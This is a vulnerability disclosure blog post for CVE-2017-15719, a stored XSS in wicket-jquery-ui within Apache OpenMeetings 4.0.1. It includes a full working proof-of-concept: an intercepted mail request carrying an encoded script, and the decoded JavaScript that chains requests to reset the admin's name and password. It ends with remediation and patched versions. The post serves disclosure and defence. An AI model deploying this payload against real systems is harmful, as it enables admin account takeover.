Sahil Dhar Application Security and Exploitation all day everyday.

CVE-2017-15719 Wicket jQuery UI XSS in WYSIWYG editor


It was identified that one of the components of Apache OpenMeetings v 4.0.1 is vulnerable to Persistent Cross Site Scripting vulnerability. An attacker can exploit these vulnerabilities to hijack admin user’s browser along with the data stored in it.

Affected Component: wicket-jquery-ui

Affected Versions: <= 6.28.0, <= 7.9.1, <= 8.0.0-M8

Test Configuration:

Following is needed in order to reproduce this issue:

  • Access to two valid user accounts. (admin and user1 in this example)
  • A web browser. (Mozilla Firefox in this example)
  • An HTTP intercepting proxy (Burp Suite Professional in this example)

Proof of Concept:

  1. Login to user1 account and navigate to mailbox by clicking on Contacts and messages button as shown.

    Mailbox

  2. Create a new email to admin user with following contents and click on send.

  3. Intercept the request and replace the message:textarea parameter value as shown and forward the request.

    POST /openmeetings/?1-1.0-main~container-main-newMessageDialog HTTP/1.1
    Host: localhost:5080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0
    Accept: application/xml, text/xml, */*; q=0.01
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Wicket-Ajax: true
    Wicket-Ajax-BaseURL: .
    Wicket-FocusedElementId: btnad
    X-Requested-With: XMLHttpRequest
    Referer: http://localhost:5080/openmeetings/
    Content-Length: 5854
    Cookie: wicketDebugBarState=collapsed; JSESSIONID=EBF252840768E072D61FB49991CEC0B6
    Connection: close
    
    to=1&subject=Hello&message%3Atextarea=`This%20mail%20was%20sent%20accidently%20to%20you%2C%20please%20ignore%20this.%0A%3Cscript%3E%0A%20%20%20%20%20%20function%20x%28%29%0A%20%20%20%20%20%20%7B%0A%09%09var%20u%3B%0A%09%09var%20uid%3B%0A%09%09var%20data%20%3D%20%22%22%3B%0A%09%09%09for%20%28var%20i%3D0%3B%20i%20%3C%20document.scripts.length%3B%20i%20%2b%2b%29%7B%0A%09%09%09%09data%20%2b%3D%20document.scripts%5Bi%5D.text%3B%0A%09%09%09%7D%0A%09%09%09var%20m%20%3D%20data.match%28%2f%5E.%2a%3F%5C%28%5C%7B%5C%22u%5C%22%5C%3A%5C%22%5C.%5C%2f%28.%2a%3F%29%5C%22%5C%7D%5C%29%5C%3B%5C%3B%24%2fim%29%3B%0A%09%09%09u%20%3D%20m%5B1%5D%3B%0A%09%09%09%0A%09%09%09for%20%28var%20i%3D0%3Bi%20%3C%20document.getElementsByClassName%28%22sub%20ui-menu-item%22%29.length%3Bi%2b%2b%29%7B%0A%09%09%09%09if%20%28document.getElementsByClassName%28%22sub%20ui-menu-item%22%29%5Bi%5D.title%20%3D%3D%20%22Manage%20users%20and%20rights%22%29%7B%0A%09%09%09%09%09uid%20%3D%20document.getElementsByClassName%28%22sub%20ui-menu-item%22%29%5Bi%5D.id%3B%0A%09%09%09%09%09break%3B%0A%09%09%09%09%7D%0A%09%09%09%7D%0A%09%09%09y1%28u%2Cuid%29%3B%0A%09%09%7D%0A%09%09%0A%09function%20y1%28u%2Cuid%29%7B%0A%09%09var%20ul%20%3D%20%22http%3A%2f%2flocalhost%3A5080%2fopenmeetings%2f%22%2bu%2b%22main%7Econtainer-main-topControls-menu-menu%26hash%3D%22%2buid%2b%22%26_%3D%22%3B%0A%09%09var%20b%20%3D%20new%20XMLHttpRequest%28%29%3B%0A%09%09b.open%28%22GET%22%2Cul%2Ctrue%29%3B%0A%09%09b.setRequestHeader%28%22Accept%22%2C%20%22application%5C%2fxml%2C%20text%5C%2fxml%2C%20%2a%5C%2f%2a%3B%20q%3D0.01%22%29%3B%0A%20%20%20%20%20%20%20%20b.setRequestHeader%28%22Accept-Language%22%2C%20%22en-US%2Cen%3Bq%3D0.5%22%29%3B%0A%20%20%20%20%20%20%20%20b.setRequestHeader%28%22Wicket-Ajax%22%2C%22true%22%29%3B%0A%09%09b.setRequestHeader%28%22Wicket-Ajax-BaseURL%22%2C%22.%22%29%3B%0A%09%09b.setRequestHeader%28%22X-Requested-With%22%2C%22XMLHttpRequest%22%29%3B%0A%09%09b.responseType%20%3D%20%22document%22%3B%0A%09%09b.overrideMimeType%28%27text%2fxml%27%29%3B%0A%09%09b.onload%20%3D%20function%28%29%7B%0A%09%09%09y2%28u%29%3B%0A%09%09%7D%0A%09%09b.send%28%29%3B%09%0A%09%7D%0A%09%0A%09function%20y2%28u%29%7B%0A%09%09var%20ul%20%3D%20%22http%3A%5C%2f%5C%2flocalhost%3A5080%5C%2fopenmeetings%5C%2f%22%2bu%2b%22main%7Econtainer-main-contents-child-listContainer-userList-1%26_%3D1513604035452%22%3B%0A%09%09var%20xhr%20%3D%20new%20XMLHttpRequest%28%29%3B%0A%09%09xhr.open%28%22GET%22%2Cul%2Ctrue%29%3B%0A%09%09xhr.setRequestHeader%28%22Accept%22%2C%20%22application%5C%2fxml%2C%20text%5C%2fxml%2C%20%2a%5C%2f%2a%3B%20q%3D0.01%22%29%3B%0A%20%20%20%20%20%20%20%20xhr.setRequestHeader%28%22Accept-Language%22%2C%20%22en-US%2Cen%3Bq%3D0.5%22%29%3B%0A%20%20%20%20%20%20%20%20xhr.setRequestHeader%28%22Wicket-Ajax%22%2C%22true%22%29%3B%0A%09%09xhr.setRequestHeader%28%22Wicket-Ajax-BaseURL%22%2C%22.%22%29%3B%0A%09%09xhr.setRequestHeader%28%22X-Requested-With%22%2C%22XMLHttpRequest%22%29%3B%0A%09%09xhr.overrideMimeType%28%27text%2fxml%27%29%3B%0A%09%09xhr.onload%20%3D%20function%28%29%20%7B%0A%09%09%09var%20t%20%3D%20this.responseXML.documentElement.getElementsByTagName%28%27component%27%29%5B0%5D.textContent%3B%0A%09%09%09var%20d%20%3D%20new%20DOMParser%28%29.parseFromString%28t%2C%22text%2fxml%22%29%3B%0A%09%09%09var%20r%20%3D%20d.getElementsByName%28%27comunity%3Acommunity_settings%27%29%5B1%5D.getAttribute%28%27value%27%29%3B%0A%09%09%09z%28u%2Cr%29%3B%0A%09%09%7D%0A%09%09xhr.responseType%20%3D%20%22document%22%3B%0A%09%09xhr.send%28%29%3B%0A%09%7D%0A%09%0A%09function%20z%28u%2Cr%29%0A%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20var%20xhr%20%3D%20new%20XMLHttpRequest%28%29%3B%0A%20%20%20%20%20%20%20%20xhr.open%28%22POST%22%2C%20%22http%3A%5C%2f%5C%2flocalhost%3A5080%5C%2fopenmeetings%5C%2f%22%2bu%2b%22main%7Econtainer-main-contents-child-form-buttons-ajax%7Esave%7Ebutton%22%2C%20true%29%3B%0A%20%20%20%20%20%20%20%20xhr.setRequestHeader%28%22Accept%22%2C%20%22application%5C%2fxml%2C%20text%5C%2fxml%2C%20%2a%5C%2f%2a%3B%20q%3D0.01%22%29%3B%0A%20%20%20%20%20%20%20%20xhr.setRequestHeader%28%22Accept-Language%22%2C%20%22en-US%2Cen%3Bq%3D0.5%22%29%3B%0A%20%20%20%20%20%20%20%20xhr.setRequestHeader%28%22Content-Type%22%2C%20%22application%5C%2fx-www-form-urlencoded%3B%20charset%3DUTF-8%22%29%3B%0A%20%20%20%20%20%20%20%20xhr.setRequestHeader%28%22Wicket-Ajax%22%2C%22true%22%29%3B%0A%09%09xhr.setRequestHeader%28%22Wicket-Ajax-BaseURL%22%2C%22.%22%29%3B%0A%09%09xhr.setRequestHeader%28%22X-Requested-With%22%2C%22XMLHttpRequest%22%29%3B%0A%20%20%20%20%20%20%20%20xhr.withCredentials%20%3D%20true%3B%0A%20%20%20%20%20%20%20%20var%20body%20%3D%20%22login%3Dadmin%26password%3DPass@123%26general%253Aaddress.email%3Dadmin%2540localhost.com%26general%253Asalutation%3Dmr%26general%253Afirstname%3Dadminhijacked%26general%253Alastname%3Dadminhijacked%26general%253AtimeZoneId%3D281%26general%253AlanguageId%3D1%26general%253Aaddress.phone%3D%26general%253Aage%3D27%252F11%252F17%26general%253Aaddress.street%3D%26general%253Aaddress.additionalname%3D%26general%253Aaddress.zip%3D%26general%253Aaddress.town%3D%26general%253Aaddress.country%3DIN%26general%253Aaddress.comment%3D%26general%253AgroupUsers%3D1%26type%3D0%26rights%3DRoom%26rights%3DSoap%26rights%3DDashboard%26rights%3DAdmin%26rights%3DLogin%26comunity%253Acommunity_settings%3D%22%2br%2b%22%26comunity%253AuserOffers%3D%26comunity%253AuserSearchs%3D%26buttons%253Aajax-save-button%3D1%22%3B%0A%20%20%20%20%20%20%20%20var%20aBody%20%3D%20new%20Uint8Array%28body.length%29%3B%0A%20%20%20%20%20%20%20%20for%20%28var%20i%20%3D%200%3B%20i%20%3C%20aBody.length%3B%20i%2b%2b%29%0A%20%20%20%20%20%20%20%20%20%20aBody%5Bi%5D%20%3D%20body.charCodeAt%28i%29%3B%20%0A%20%20%20%20%20%20%20%20xhr.send%28new%20Blob%28%5BaBody%5D%29%29%3B%0A%20%20%20%20%20%20%7D%09%09%0A%20%20%20%20%20%20x%28%29%3B%0A%3C%2fscript%3E`
    
  4. URL encoded payload shown in above request when executed will send a sequence of requests to change admin user’s firstname ,lastname and password.

    Note: For working of the exploit code shown below, hostname needs to updated accordingly.

// Fetch user uid values from current DOM

<script>
function x()
     {
    var u;
    var uid;
    var data = "";
      for (var i=0; i < document.scripts.length; i ++){
        data += document.scripts[i].text;
      }
      var m = data.match(/^.*?\(\{\"u\"\:\"\.\/(.*?)\"\}\)\;\;$/im);
      u = m[1];

      for (var i=0;i < document.getElementsByClassName("sub ui-menu-item").length;i++){
        if (document.getElementsByClassName("sub ui-menu-item")[i].title == "Manage users and rights"){
          uid = document.getElementsByClassName("sub ui-menu-item")[i].id;
          break;
        }
      }
      y1(u,uid);
    }

// mandatory request to fulfill entire requests chain

function y1(u,uid){
  var ul = "http://localhost:5080/openmeetings/"+u+"main~container-main-topControls-menu-menu&hash="+uid+"&_=";
  var b = new XMLHttpRequest();
  b.open("GET",ul,true);
  b.setRequestHeader("Accept", "application\/xml, text\/xml, *\/*; q=0.01");
     b.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
     b.setRequestHeader("Wicket-Ajax","true");
  b.setRequestHeader("Wicket-Ajax-BaseURL",".");
  b.setRequestHeader("X-Requested-With","XMLHttpRequest");
  b.responseType = "document";
  b.overrideMimeType('text/xml');
  b.onload = function(){
    y2(u);
  }
  b.send();
}

// Get community_settings value

  function y2(u){
    var ul = "http:\/\/localhost:5080\/openmeetings\/"+u+"main~container-main-contents-child-listContainer-userList-1&_=1513604035452";
    var xhr = new XMLHttpRequest();
    xhr.open("GET",ul,true);
    xhr.setRequestHeader("Accept", "application\/xml, text\/xml, *\/*; q=0.01");
       xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
       xhr.setRequestHeader("Wicket-Ajax","true");
    xhr.setRequestHeader("Wicket-Ajax-BaseURL",".");
    xhr.setRequestHeader("X-Requested-With","XMLHttpRequest");
    xhr.overrideMimeType('text/xml');
    xhr.onload = function() {
      var t = this.responseXML.documentElement.getElementsByTagName('component')[0].textContent;
      var d = new DOMParser().parseFromString(t,"text/xml");
      var r = d.getElementsByName('comunity:community_settings')[1].getAttribute('value');
      z(u,r);
    }
    xhr.responseType = "document";
    xhr.send();
  }

// Final password change request

  function z(u,r)
     {
       var xhr = new XMLHttpRequest();
       xhr.open("POST", "http:\/\/localhost:5080\/openmeetings\/"+u+"main~container-main-contents-child-form-buttons-ajax~save~button", true);
       xhr.setRequestHeader("Accept", "application\/xml, text\/xml, *\/*; q=0.01");
       xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
       xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded; charset=UTF-8");
       xhr.setRequestHeader("Wicket-Ajax","true");
    xhr.setRequestHeader("Wicket-Ajax-BaseURL",".");
    xhr.setRequestHeader("X-Requested-With","XMLHttpRequest");
       xhr.withCredentials = true;
       var body = "login=admin&password=Pass@123&general%3Aaddress.email=admin%40localhost.com&general%3Asalutation=mr&general%3Afirstname=adminhijacked&general%3Alastname=adminhijacked&general%3AtimeZoneId=281&general%3AlanguageId=1&general%3Aaddress.phone=&general%3Aage=27%2F11%2F17&general%3Aaddress.street=&general%3Aaddress.additionalname=&general%3Aaddress.zip=&general%3Aaddress.town=&general%3Aaddress.country=IN&general%3Aaddress.comment=&general%3AgroupUsers=1&type=0&rights=Room&rights=Soap&rights=Dashboard&rights=Admin&rights=Login&comunity%3Acommunity_settings="+r+"&comunity%3AuserOffers=&comunity%3AuserSearchs=&buttons%3Aajax-save-button=1";
       var aBody = new Uint8Array(body.length);
       for (var i = 0; i < aBody.length; i++)
         aBody[i] = body.charCodeAt(i);
       xhr.send(new Blob([aBody]));
     }    
     x();
</script>

  1. Login to admin user account in a private browser window and navigate to mailbox by following step1.

  2. Open the email sent by user1 and observe that the application sends a sequence of XHR requests while executing our XSS payload.

  1. Navigate to Profile settings of admin user and observe that first and last name has changed successfully as defined in the exploit code shown in Step 4.

  2. We can now login to admin account with password Pass@123 as defined in exploit.

Remediation:

It is recommended to validate user input and implement Context Specific Filtering in application response.

Vendor Patches:

This issue was fixed in wicket-jquery-ui versions 6.28.1, 7.9.2 and 8.0.0-M8.1. All Users are recommended to upgrade to Apache OpenMeetings 4.0.2.